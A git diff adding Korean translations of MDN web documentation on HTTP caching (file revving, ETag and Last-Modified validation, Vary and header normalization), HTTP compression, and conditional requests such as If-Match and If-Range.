+<p>웹 개발자들은 Steve Sounders가 <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>이라고 불렀던 기술을 발명했습니다. 드물게 업데이트되는 파일들은 특정한 방법으로 이름붙여집니다: 파일들의 URL내에, 보통 파일명에, 수정(혹은 버전) 번호가 추가됩니다. 그렇게 해서 해당 리소스의 각각의 새로운 수정본 자체는 결코 변경되지 않으며, 보통 1년 혹은 그 이상의 아주 먼 미래로 만료 시간이 설정될 수 있습니다. 새로운 버전을 가지기 위해, 해당 리소스와의 모든 연결(link)들은 전부 변경되어야 하며, 그것이 이 방법의 단점입니다: 이 추가적인 복잡함은 보통 웹 개발자들이 사용하는 툴체인에 의해 다루어집니다. 드물게 변경되는 리소스들이 변경되는 경우 자주 변경되는 리소스에 추가적인 변경을 합니다. 이런 리소스들이 읽혀지는 경우, 다른 리소스들의 새로운 버전들도 읽혀지게 됩니다.</p>
+
+<p>이 기술은 추가적인 이점도 가지고 있습니다: 캐시된 두 개의 리소스를 동시에 갱신해도 한 리소스의 오래된 버전이 다른 리소스의 새로운 버전과 함께 혼합되어 사용되는 경우를 초래하지 않을 것입니다. 이것은 웹 사이트가 상호 간의 의존성을 가지고 있는 CSS 스타일시트와 자바스크립트를 가지고 있는 경우 (같은 HTML 요소를 참조하기에 서로 의존하게 됩니다) 매우 중요합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p>
+
+<p>리소스에 추가되는 수정 버전은 1.1.3과 같은 전통적인 버전 번호 형식이 아니어도 되고, 단조 증가하는 숫자들이 아니어도 됩니다. 그것은 해시 혹은 날짜와 같이 충돌만 되지 않는다면 무엇이든지 될 수 있습니다.</p>
+
+<h2 id="캐시_검증">캐시 검증</h2>
+
+<p>캐시된 문서의 만료 시간이 가까워져오면, 문서가 검증되거나 다시 불러오게 됩니다. 검증은 서버가 <em>강한 검증</em> 혹은 <em>약한 검증</em> 중 하나라도 제공하는 경우에만 일어날 수 있습니다.</p>
+
+<p>재검증은 사용자가 리로드 버튼을 누를 경우 촉발됩니다. 재검증은 캐시된 응답이 "<code>Cache-control: must-revalidate</code>" 헤더를 포함하고 있는 경우 일반적인 브라우징 중에도 촉발될 수 있습니다. 또 다른 요인은 <code>Advanced-&gt;Cache</code> 환경설정 패널 내에 캐시 검증 환경 설정입니다. 거기에는 문서가 로드될 때마다 검증을 강제할 수 있는 옵션이 있습니다.</p>
+
+<h3 id="ETags">ETags</h3>
+
+<p>{{HTTPHeader("ETag")}} 응답 헤더는 강한 검증으로써 사용될 수 있는 <em>사용자 에이전트에게 있어 불투명한(opaque)</em> 값입니다. 그것은 브라우저와 같은 HTTP 사용자 에이전트가 이 문자열이 무엇을 표현하는지 알 수 없고, 그것의 값이 무엇이 될지를 예측할 수 없다는 것을 의미합니다. <code>ETag</code> 헤더가 리소스에 대한 응답의 일부라면, 클라이언트는 이후 요청의 해더 내에 (캐시된 리소스를 검증하기 위해) {{HTTPHeader("If-None-Match")}}를 줄 수 있습니다.</p>
+
+<h3 id="Last-Modified">Last-Modified</h3>
+
+<p>{{HTTPHeader("Last-Modified")}} 응답 헤더는 약한 검증으로써 사용될 수 있습니다. 그것이 1초의 해상도만 가질 수 있기에 약하다고 간주됩니다. <code>Last-Modified</code> 헤더가 응답 내에 존재하면, 클라이언트는 캐시된 문서를 검증하기 위해 {{HTTPHeader("If-Modified-Since")}} 요청 헤더를 줄 수 있습니다.</p>
+
+<p>검증 요청을 받으면, 서버는 검증 요청을 무시하고 일반적인 {{HTTPStatus(200)}} <code>OK</code>으로 응답하거나, 브라우저에게 캐시된 복사본을 사용하도록 지시하기 위해 {{HTTPStatus(304)}} <code>Not Modified</code> (본문을 비워둔 상태로)를 반환할 수 있습니다. 후자의 응답은 캐시된 문서의 만료 시간을 갱신하는 헤더를 포함할 수도 있습니다.</p>
+
+<h2 id="상황에_따른_응답">상황에 따른 응답</h2>
+
+<p>{{HTTPHeader("Vary")}} HTTP 응답 헤더는 원 서버로부터 새로운 리소스를 요청해야 하는지 캐시된 응답이 사용될 수 있는지를 결정하기 위해 이후의 요청 헤더를 대조하는 방식을 결정합니다.</p>
+
+<p>캐시가 <code>Vary</code> 헤더 필드를 지닌 요청을 수신한 경우, <code>Vary</code> 헤더에 의해 지정된 모든 헤더 필드들이 원래의 (캐시된) 요청과 새로운 요청 사이에서 일치하지 않는다면 그 캐시된 응답을 사용해서는 안 됩니다.</p>
+
+<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p>
+
+<p>이 기능은 컨텐츠를 비압축 또는 (여러 가지) 압축 포맷으로 캐시될 수 있도록 하고, 유저 에이전트가 지원하는 포맷에 따라 제공하도록 할 때 흔히 사용됩니다. 예를 들어 서버는 <code>Vary: Accept-Encoding</code>을 설정하여 특정한 집합의 인코딩을 지원하는 (예를 들어 <code>Accept-Encoding: gzip,deflate,sdch</code>) 모든 요청들에 대해 각각 다른 버전의 리소스를 캐시하도록 할 수 있습니다.</p>
+
+<pre class="notranslate">Vary: <code>Accept-Encoding</code>
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>Vary</code>는 주의해서 사용하기 바랍니다 — 캐시의 효과를 떨어뜨리기 쉽습니다! 캐시 서버는 중복된 캐시 엔트리와 서버로의 불필요한 요청을 줄이기 위해 <a href="#정규화">정규화</a>를 하여야 합다. <code>Vary</code>에 지정된 헤더나 헤더 값이 여러 가지인 경우에는 특히 그렇습니다.</p>
+</div>
+
+<p><code>Vary</code> 헤더는 데스크탑과 모바일 사용자에게 서로 다른 컨텐츠를 제공하거나, 검색 엔진에게 페이지의 모바일 버전을 발견할 수 있게 하는 (그리고 <a href="https://en.wikipedia.org/wiki/Cloaking">클로킹</a> 의도가 없다고 알려주는) 데에도 유용합니다. 이것은 보통 <code>Vary: User-Agent</code> 헤더를 사용해서 할 수 있습니다. {{HTTPHeader("User-Agent")}} 헤더 값이 모바일과 데스크탑 클라이언트 간에 서로 다르기 때문입니다..</p>
+
+<pre class="notranslate">Vary: User-Agent</pre>
+
+<h3 id="정규화">정규화</h3>
+
+<p>위에서 언급한 바와 같이, 캐시 서버는 기본적으로 (by default) 헤더와 헤더 값이 <em>정확히</em> 같은 요청<em>만</em> 매치시킵니다. 이것은 다른 유저 에이전트에 따라 미세한 차이가 있는 모든 요청들에 대해 원래 서버로 요청이 전달되고, 새로운 캐시 엔트리가 생성된다는 것을 의미합니다.</p>
+
+<p>예를 들어, 기본적으로 다음 헤더들은 제각각 별개의 요청을 서버에 전달하고, 별개의 캐시 엔트리가 생성되는 결과를 초래합니다: <code>Accept-Encoding: gzip,deflate,sdch</code>, <code>Accept-Encoding: gzip,deflate</code>, <code>Accept-Encoding: gzip</code>. 심지어 원래 서버가 모든 요청들에 대해 똑같은 리소스(gzip)를 응답할 (그리고 저장하고 있을) 때에도 그렇습니다!</p>
+
+<p>이러한 불필요한 요청과 중복된 캐시 엔트리를 피하기 위해서, 캐시 서버는 요청을 전처리해서 필요한 파일만 캐시하는 <strong>정규화</strong>를 하여야 합니다. 예를 들어, <code>Accept-Encoding</code>의 경우에는 다른 처리를 하기 전에 헤더 내의 <code>gzip</code>과 다른 압축 타입들을 체크할 수 있습니다 (아니면 그 헤더를 해제합니다). "수도 코드"로 표현한다면 다음과 같습니다:</p>
+
+<pre class="notranslate"><code>// Normalize Accept-Encoding
+if (req.http.Accept-Encoding) {
+  if (req.http.Accept-Encoding ~ "gzip") {
+    set req.http.Accept-Encoding = "gzip";
+  }
+  // elsif other encoding types to check
+else {
+  unset req.http.Accept-Encoding;
+  }
+}</code>
+</pre>
+
+<p><code>User-Agent</code> 값은 <code>Accept-Encoding</code>보다 더욱 다양합니다. 그래서 만약 모바일과 데스크탑 버전을 캐싱하기 위해 <code>Vary: User-Agent</code>를 사용한다면, 위와 유사하게 <code>"mobile"</code>과 <code>"desktop"</code> 값이 요청의 <code>User-Agent</code> 헤더에 있는지 체크한 후에, 그것을 해제할 수 있습니다.</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: 하이퍼텍스트 전송 프로토콜 (HTTP/1.1): 캐싱</a></li>
+ <li><a href="https://www.mnot.net/cache_docs">캐싱 튜토리얼 – Mark Nottingham</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP 캐싱 – Ilya Grigorik</a></li>
+ <li><a href="https://redbot.org/">레드봇</a>, 캐시와 관련된 HTTP 헤더 점검을 위한 도구.</li>
+</ul>
diff --git a/files/ko/web/http/compression/index.html b/files/ko/web/http/compression/index.html
new file mode 100644
index 0000000000..74d1369762
--- /dev/null
+++ b/files/ko/web/http/compression/index.html
@@ -0,0 +1,64 @@
+---
+title: HTTP에서의 압축
+slug: Web/HTTP/Compression
+translation_of: Web/HTTP/Compression
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong>압축은 웹 사이트의 성능을 높이는 중요한 방법입니다. 어떤 문서에 대해, 70%가 넘는 사이즈 축소는 필요로 하는 대역폭 용량을 낮춰줍니다. 수년간, 알고리즘은 점점 더 효율적으로 변해왔고, 클라이언트와 서버에 의해 새로운 것들이 지원되고 있습니다.</strong></p>
+
+<p>실제로, 웹 개발자들은 압축 메커니즘을 구현해야 할 필요가 없고, 브라우저와 서버가 그것들을 이미 구현하고 있어서, 개발자들은 서버가 잘 구성되어 있는지 확인만 하면 됩니다. 압축은 세 개의 서로 다른 계층에서 일어납니다.</p>
+
+<ul>
+ <li>먼저 몇 개의 파일 형식이 최적화된 특유의 방법으로 압축됩니다,</li>
+ <li>그런 뒤 HTTP 계층에서 일반적인 암호화가 일어납니다(리소스는 끝단 간에 압축되어 전송됩니다),</li>
+ <li>그리고 마침내 압축이 HTTP 커넥션의 두 노드 사이의 커넥션 계층에서 정의될 수 있습니다.</li>
+</ul>
+
+<h2 id="파일_포맷_압축">파일 포맷 압축</h2>
+
+<p>각각의 데이터 타입은 그 안에서 <em>공간을 낭비하는</em>, 몇 가지 중복을 가지고 있습니다. 텍스트가 일반적으로 60% 정도의 중복을 가지고 있다면, 오디오와 비디오 같은 다른 미디어들에게 이 비율은 훨씬 더 높아질 수 있습니다. 텍스트와 다르게, 이런 다른 미디어 타입들은 저장하는데 많은 공간을 차지하고 이런 낭비된 공간을 되돌려놓으려는 요구는 매우 이른 시기에 나타났습니다. 엔지니어들은 특정 목적을 위해 설계된 파일 포맷이 사용하는 최적화 압축 알고리즘을 설계했습니다:</p>
+
+<ul>
+ <li><em>무손실 압축</em>은 압축-비압축 사이클이 복원된 데이터를 변경하지 않는 것을 말합니다. 원래의 데이터와 복원 데이터는 일치(byte 단위까지)합니다.<br>
+  이미지에서는, <code>gif</code> 혹은 <code>png</code>가 무손실 압축을 사용합니다.</li>
+ <li><em>손실 압축은 </em>사용자가 인지하기 힘든 방법 내에서 원래의 데이터를 사이클이 변경하는 것을 말합니다. 웹에서의 비디오 포맷은 손실 압축이며, 이미지에 경우에는 <code>jpeg</code>이 그렇습니다.</li>
+</ul>
+
+<p>어떤 포맷들은 <code>webp</code>처럼 무손실 혹은 손실로 이용 가능하며, 일반적으로 손실 알고리즘은 그 과정이 무손실 혹은 좀 더 나은 품질을 이끌도록 좀 더 나은 혹은 무손실의 압축을 가능하도록 구성될 수 있습니다. 사이트의 좀 더 나은 성능을 위해, 수용 가능한 수준의 품질을 지키면서도 가능한 많이 압축하는 것이 이상적입니다. 이미지의 경우, 도구가 만들어 낸 이미지는 웹을 위해 충분히 최적화되지 않을 수도 있습니다; 요구되는 품질를 유지하면서 가능한 많이 압축하는 도구를 사용하는 것을 추천합니다. 이것에 특화된 <a href="http://www.creativebloq.com/design/image-compression-tools-1132865">많은 도구들</a>이 있습니다.</p>
+
+<p>손실 압축 알고리즘은 무손실 압축 알로리즘보다 일반적으로 효율적입니다.</p>
+
+<div class="note">
+<p>압축이 특정 종류의 파일에서 더 잘 동작하므로, 파일을 두번 압축하는 것은 보통 아무런 도움이 되질 않습니다. 사실, 오버헤드 비용(알고리즘은 보통 초기의 크기에 추가할 사전을 필요로 합니다)이 크기가 큰 파일을 낳는 압축에서의 추가적인 이득보다 크므로, 자주 생산성 측면의 문제에 맞닥뜨리게 됩니다. 압축된 포맷의 파일들에 다음 두 기술을 사용하지 마시기 바랍니다.</p>
+</div>
+
+<h2 id="종단_간_압축">종단 간 압축</h2>
+
+<p>압축에 있어, 종단간 압축은 웹 사이트의 가장 큰 성능 이득이 발생하는 곳입니다. 종단간 압축은 서버에 의해 처리되고 클라이언트에 도달할 때까지 결코 변하지 않을 메시지 바디의 압축을 나타냅니다. 중간 노드가 무엇이든지, 바디는 건들이지 않고 그대로 둡니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13801/HTTPEnco1.png" style="height: 307px; width: 955px;"></p>
+
+<p>모든 모던 브라우저와 서버들은 종단간 압축을 지원하며 협상하는 유일한 것은 사용할 압축 알고리즘입니다. 이런 압축 알고리즘들은 텍스트에 최적화되어 있습니다. 1990년대에, 압축 기술은 급격한 속도로 진보되고 있었으며 많은 수의 성공적인 알고리즘들이 선택 가능한 후보군에 추가되었습니다. 오늘날에는, 오직 두 개의 알고리즘만이 적절한 후보군입니다: 가장 일반적인 <code>gzip</code>, 그리고 새로운 도전자인 <code>br</code>이 그것이죠.</p>
+
+<p>사용할 알고리즘을 선택하기 위해, 브라우저와 서버는 <a href="/en-US/docs/Web/HTTP/Content_negotiation">사전 컨텐츠 협상</a>을 사용합니다. 브라우저는 브라우저가 지원하는 알고리즘 그리고 그것의 우선순위와 함께 {{HTTPHeader("Accept-Encoding")}} 헤더를 전송하며, 서버는 그 헤더를 뽑아내서 응답의 바디를 압축하는데 사용하고 서버가 선택한 알고리즘을 {{HTTPHeader("Content-Encoding")}} 헤더를 사용해 브라우저에게 알려줍니다. 컨텐츠 협상이 그것의 인코딩에 근거한 표현을 선택하는데 사용되므로써, 적어도 {{HTTPHeader("Content-Encoding")}}을 포함하는 하나의 {{HTTPHeader("Vary")}} 헤더가 반드시 응답 내 해당 헤더에 붙어 전송되어야 합니다; 그러한 방법으로, 캐시는 리소스의 다른 표현을 캐시하는게 가능해질 겁니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13811/HTTPCompression1.png" style="height: 307px; width: 771px;"></p>
+
+<p>압축이 명확한 성능 향상을 가져다주므로, 모든 파일에 대해 활성화하는 것을 추천하지만, 이미지, 오디오나 비디오와 같은 파일들은 이미 압축되어 있을 겁니다.</p>
+
+<p>Apache는 압축을 지원하며 <a href="http://httpd.apache.org/docs/current/mod/mod_deflate.html">mod_deflate</a>를 사용합니다; nginx의 경우 <a href="http://nginx.org/en/docs/http/ngx_http_gzip_module.html">ngx_http_gzip_module</a> 모듈이 있고 IIS는 <code><a href="https://www.iis.net/configreference/system.webserver/httpcompression">&lt;httpCompression&gt;</a></code> 엘리먼트를 지원합니다.</p>
+
+<h2 id="Hop-by-hop_압축">Hop-by-hop 압축</h2>
+
+<p>종단간 압축과 비슷하긴 하지만, hop-by-hop 압축은 한 가지 필수적인 엘리먼트에 의해 차이가 납니다: 전송되게 될 구체적인 표현을 만들어내는, 서버 내에서 리소스에 대한 압축이 일어나지 않고, 클라이언트와 서버 사이의 경로 상에 있는 어떤 두 노드 사이에서 메서지의 바디에 압축이 일어납니다. 이따르는 중간 노드 간의 커넥션들은 다른 압축을 적용할수도 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13807/HTTPTE1.png"></p>
+
+<p>이를 위해, HTTP는 종단간 압축에서의 컨텐츠 협상과 유사한 메커니즘을 사용합니다: 요청을 전송하는 노드는 노드의 요청이 {{HTTPHeader("TE")}} 헤더를 사용하고 있다는 것을 알려주고 다른 노드들은 알맞는 방법을 선택하여 적용하고 {{HTTPHeader("Transfer-Encoding")}} 헤더를 사용해 선택한 내용을 가리킵니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13809/HTTPComp2.png"></p>
+
+<p>실제로, hop-by-hop 압축은 서버와 클라이언트에게는 보이지 않으며 드물게 사용되고 있습니다.{{HTTPHeader("TE")}} 헤더와 {{HTTPHeader("Transfer-Encoding")}} 헤더는 리소스의 길이를 알지 못한 상태로 전송을 시작하도록, 청크에 의해 응답을 전송하는데 대부분 사용됩니다.</p>
+
+<p>Hop 계층에서 {{HTTPHeader("Transfer-Encoding")}} 헤더와 압축을 사용하는 것은, Apache, nginx 혹은 IIS와 같은 대부분의 서버들이 그것을 구성할 수 있는 쉬운 방법이 존재하지 않을 만큼 희귀합니다. 그런 구성들은 보통 프록시 계층에 적용됩니다.</p>
diff --git a/files/ko/web/http/conditional_requests/index.html b/files/ko/web/http/conditional_requests/index.html
new file mode 100644
index 0000000000..9e31efec5f
--- /dev/null
+++ b/files/ko/web/http/conditional_requests/index.html
@@ -0,0 +1,139 @@
+---
+title: HTTP 조건부 요청
+slug: Web/HTTP/Conditional_requests
+translation_of: Web/HTTP/Conditional_requests
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary">영향을 받는 리소스들을 <em>검사기</em> 값을 이용해 비교함으로써, HTTP는, 성공인 경우라도, 요청의 결과가 변경될 수 있는 <em>조건부 요청</em>의 컨셉을 가지고 있습니다. 그런 요청들은 캐시 컨텐츠와 쓸모없는 컨트롤 회피를 검증하고, 다운로드를 이어서 하거나 서버 상의 문서를 업로드 또는 수정할 때 수정된 내용을 잃지 않도록 할 때처럼, 문서의 무결성을 확증하는데 유용할 수 있습니다.</p>
+
+<h2 id="원칙">원칙</h2>
+
+<p>HTTP 조건부 요청은 특정 헤더 값에 의존하여 기존과는 다르게 실행되는 요청입니다. 이 헤더들은 전제 조건을 정의하고 있으며 요청의 결과는 그 전제 조건이 일치하는지 아닌지에 따라 달라질 것입니다.</p>
+
+<p>그런 다른 동작들은 요청 메서드 그리고 전제 조건을 위해 사용되는 헤더 집합에 의해 정의됩니다:</p>
+
+<ul>
+ <li>보통 문서를 가져오려고 하는 {{HTTPMethod("GET")}}와 같은 {{glossary("safe")}} 메서드들의 경우, 오직 연관되어 있는 경우에 조건부 요청이 회신하는데 사용될 수 있으므로 대역폭을 아끼게 됩니다.</li>
+ <li>보통 문서를 업로드하는 {{HTTPMethod("PUT")}}와 같은 {{glossary("safe", "unsafe")}} 메서드들의 경우, 그 요청의 원본 문서가 서버에 저장되어 있는 것과 동일한 경우에만 조건부 요청이 문서 업로드에 사용될 수 있습니다.</li>
+</ul>
+
+<h2 id="검사기">검사기</h2>
+
+<p>모든 조건부 요청들은 서버 상에 저장되어 있는 리소스가 특정 버전과 일치하는지를 검사하려고 합니다. 이를 이루기 위해, 조건부 요청은 리소스의 버전을 명시할 필요가 있습니다. 전체 리소스를 바이트 대 바이트로 비교하는 것은 불가능하므로(그리고 항상 그러길 원하는 것은 아닐테니!), 요청은 버전을 뜻하는 값을 함께 전송합니다: 그런 값들을 <em>검사기</em>라고 부르며 다음의 두 종류가 존재합니다:</p>
+
+<ul>
+ <li><em>last-modified</em> 날짜로, 문서의 최종 수정 일자를 말합니다.</li>
+ <li><em>entity tag</em> 혹은 <em>etag</em>라고 부르는 각 버전을 고유하게 나타내는 읽을 수 없는 문자열이 있습니다.</li>
+</ul>
+
+<p>동일 리소스의 버전 비교는 약간 교모합니다: 컨텍스트에 의존하여 두 종류의 동질성 검사를 합니다. 바이트 대 바이트의 동일성을 원한다면 <em>강한 검사기</em>가 사용되는데, 예를 들어 다운로드를 이어할 때 사용됩니다. 사용자 에이전트가 두 리소스가 동일한 컨텐츠를 가지고 있는지만 알아내면 되는 경우에는 <em>약한 검사기</em>가 사용되는데, (다른 광고, 혹은 다른 날짜의 푸터와 같은) 덜 중요한 차이가 나는 경우에도 해당됩니다.</p>
+
+<p>검사의 종류는 사용되는 검사기에 따라 달라집니다; {{HTTPHeader("Last-Modified")}}와 {{HTTPHeader("ETag")}} 모두 서버 상에서 검사기를 구현하는 복잡도가 매우 다양함에도 불구하고 검사의  두 종류를 모두 지원합니다. HTTP는 기본적으로 강한 검사를 사용하며, 약한 검사기가 사용될 수 있는 경우에는 이를 명시합니다.</p>
+
+<h3 id="강한_검사">강한 검사</h3>
+
+<p id="sect1">강한 검사하는 리소스가 비교하려는 다른 리소스와 바이트 대 바이트로 동일한지를 보장하는데 그 특징이 있습니다. 이것은 조건부 헤더에 대해서 의무적이며, 다른 헤더들에 대해서는 기본값입니다. 강한 검사는 매우 엄격하고 서버 레벨에서 보장하기는 매우 어려울 수도 있으나, 때로는 성능의 손실을 감수하더라도 어떤 경우에도 데이터 무손실을 보장합니다.</p>
+
+<p>{{HTTPHeader("Last-Modified")}}를 이용해 강력한 검사를 위한 유일한 식별자를 갖는 것은 꽤 어렵습니다. 종종 이것은 리소스의 MD5 해시(혹은 유도물)를 가지고 {{HTTPHeader("ETag")}}를 사용하여 이루어집니다.</p>
+
+<h3 id="약한_검사">약한 검사</h3>
+
+<p>약한 검사는 문서의 내용이 유사한 경우 두 문서의 버전이 동일하다고 간주하는데에 강한 검사와의 차이가 있습니다. 예를 들어, 기존의 페이지와 푸터 내의 날짜 혹은 광고만 다른 페이지가 있다고 가정할 때, 그 페이지는 강한 검사에서는 다르다고 판단할 수 있지만, 약한 검사 내에서는 기존의 페이지와 동일하다고 간주될 수 있습니다. 약한 검사를 만들어내는 etag 체계를 세우는 것은 페이지의 다른 요소들의 중요성 인지를 끌어들이는 순간부터 복잡해질 수 있으나, 그것은 캐싱 성능을 최적화하는데 매우 유용할 것입니다.</p>
+
+<h2 id="조건부_헤더">조건부 헤더</h2>
+
+<p>조건부 헤더라고 불리는, 몇몇 HTTP 헤더들은 조건부 요청을 이끌어 냅니다. 그들은 다음과 같습니다:</p>
+
+<dl>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>원격지 리소스의 {{HTTPHeader("ETag")}}가 이 헤더에 나열된 것과 일치한다면 성공입니다. 기본적으로, etag에 <code>'W/'</code>가 접두사로 붙지 않았다면, 강한 검사가 실행될 것입니다.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>원격지 리소스의 {{HTTPHeader("ETag")}}가 이 헤더에 나열된 것들과 일치하는 것이 없다면 성공입니다. 기본적으로, etag에 <code>'W/'</code>가 접두사로 붙지 않았다면, 강한 검사가 실행될 것입니다.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>원격지의 리소스의 {{HTTPHeader("Last-Modified")}} 날짜가 이 헤더 내에 주어진 것보다 좀 더 최근인 경우 성공입니다.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>원격지 리소스의 {{HTTPHeader("Last-Modified")}}가 이 헤더에 주어진 것보다 더 오래됐거나 같다면 성공입니다.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>{{HTTPHeader("If-Match")}} 혹은 {{HTTPHeader("If-Unmodified-Since")}}와 유사하지만, 하나의 단일 etag 혹은 하나의 날짜만을 가질 수 있습니다. 만약 실패한다면, 범위 요청이 실패하고, {{HTTPStatus("206")}} <code>Partial Content</code> 응답 대신에, {{HTTPStatus("200")}} <code>OK</code>가 완전한 리소스와 함께 전송될 것입니다.</dd>
+</dl>
+
+<h2 id="유스_케이스">유스 케이스</h2>
+
+<h3 id="캐시_갱신">캐시 갱신</h3>
+
+<p>조건부 요청의 가장 일반적인 유스 케이스는 캐시를 갱신하는 것입니다. 비어 있는 캐시를 가지고 있거나 혹은 캐시를 가지고 있지 않은 경우, 요청된 리소스는 {{HTTPStatus("200")}} <code>OK</code>의 상태로 회신됩니다.</p>
+
+<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png" style="height: 265px; width: 741px;"></p>
+
+<p>리소스와 함께, 검사기가 헤더 내에 전송됩니다. 예를 들어, {{HTTPHeader("Last-Modified")}}와 {{HTTPHeader("ETag")}}가 전송되지만, 그들 중 하나만 전송될 수도 있습니다. 이 검사기들은 (모든 헤더처럼) 해당 리소스와 함께 캐시되며 캐시가 더 이상 신선하지 않게 됐을 때 조건부 요청을 만들어 내는데 사용될 것입니다.</p>
+
+<p>캐시가 신선한 동안에는, 어떤 요청도 결코 발급되지 않습니다. 그러나 신선하지 않게 된다면, 대부분 {{HTTPHeader("Cache-Control")}} 헤더에 의해 제어되며, 클라이언트는 캐시된 값을 직접 사용하지 않으며 {{HTTPHeader("If-Modified-Since")}}와 {{HTTPHeader("If-Match")}} 헤더의 파라메터로써 사용되는 검사기 값을 이용해 <em>조건부 요청</em>을 전송하게 됩니다.</p>
+
+<p>리소스가 변경되지 않았다면, 서버는 {{HTTPStatus("304")}} <code>Not Modified</code> 응답을 회신하게 되는데, 이는 캐시를 다시 신선한 것으로 만들어주며 클라이언트는 그 캐시된 리소스를 사용하게 됩니다. 비록 어떤 리소스를 소비하는 응답/요청 라운드 트립이 있다고 하더라도, 연결을 통해 다시 전체 리소스를 전송하는 것보다는 더 효율적입니다.</p>
+
+<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p>
+
+<p>리소스가 변경되었다면, 요청이 조건부가 아니었고 클라이언트가 이 새로운 리소스를 사용하는(그리고 그것을 캐시하는) 경우처럼, 서버는 리소스의 새로운 버전과 함께, {{HTTPStatus("200")}}<code> OK</code> 응답을 회신합니다.</p>
+
+<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p>
+
+<p>서버 측에서 검사기를 설정하는 것외에도, 이 메커니즘은 투명합니다: 모든 브라우저가 캐시를 관리하고 있으며 그런 조건부 요청을 웹 개발자가 해야할 특별한 조치없이 보내게 됩니다.</p>
+
+<h3 id="부분_다운로드의_통합">부분 다운로드의 통합</h3>
+
+<p>파일들의 부분적인 다운로드는 이전 동작을 계속하게 이어주는 HTTP의 기능으로, 이미 받아놓은 정보를 유지함으로써 대역폭과 시간을 절약해줍니다.</p>
+
+<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/13735/HTTPResume1.png" style="height: 397px; width: 764px;"></p>
+
+<p>부분적인 다운로드를 지원하는 서버는 {{HTTPHeader("Accept-Ranges")}} 헤더를 보냄으로써 이를 알립니다. 그렇게 되면, 클라이언트는 아직 전송받지 못한 범위와 함께 {{HTTPHeader("Ranges")}}을 전송하여 다운로드를 이어나갈 수 있습니다.</p>
+
+<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p>
+
+<p>이 원칙은 간단한데, 한 가지 잠재적인 문제점이 있습니다: 다운로드된 리소스가 두 개의 다운로드 사이에 수정될 경우, 수신받던 범위는 리소스의 두 개의 서로 다른 버전과 상응하게 될 것이며 최종적인 문서는 오염되게 될 것입니다.</p>
+
+<p>이것은 방지하기 위해, 조건부 요청이 사용됩니다. 범위에 대해, 이를 할 수 있는 두 가지 방법이 존재합니다. 좀 더 유연한 방법은 {{HTTPHeader("If-Modified-Since")}}과 {{HTTPHeader("If-Match")}}을 사용하는 것이며 서버는 전제 조건이 실패할 경우 오류를 반환하게 됩니다; 그러면 클라이언트는 다운로드를 처음부터 다시 시작하게 되는 것이죠.</p>
+
+<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p>
+
+<p>이 방법이 동작하긴 하지만, 문서가 변경된 경우 추가적인 응답/요청 교환을 필요로 합니다. 이것은 성능을 감소시키는데 HTTP는 이것을 피하기 위한 특별한 헤더를 가지고 있습니다: 바로 {{HTTPHeader("If-Range")}}이죠.</p>
+
+<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p>
+
+<p>이 해결책이 좀 더 효과적이긴 한데 약간은 덜 유연하여(오로지 하나의 etag만이 조건 내에서 사용될 수 있습니다), 추가적인 유연성이 필요한 경우가 아주 드물게 있기도 합니다.</p>
+
+<h3 id="최적화된_잠금으로_업데이트_손실_문제_피하기">최적화된 잠금으로 업데이트 손실 문제 피하기</h3>
+
+<p>웹 애플리케이션에서 일반적인 동작은 원격 문서를 <em>갱신</em>하는 것입니다. 이것은 어떤 파일 시스템 혹은 소스 제어 애플리케이션에서든 매우 흔한 일인데, 원격 리소스 저장을 허용하는 어떤 애플리케이션이든 그러한 메커니즘을 필요로 합니다. 유사하게, 위키나 다른 CMS와 같은 일반적인 웹 사이트들도 그런 요구사항을 지니고 있습니다.</p>
+
+<p>{{HTTPMethod("PUT")}} 메서드를 이용해 당신은 이러한 것을 구현할 수 있습니다. 먼저 클라이언트는 원본 파일을 읽어들인 후 그것을 수정하고 최종적으로 서버로 수정된 파일을 내보냅니다.</p>
+
+<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p>
+
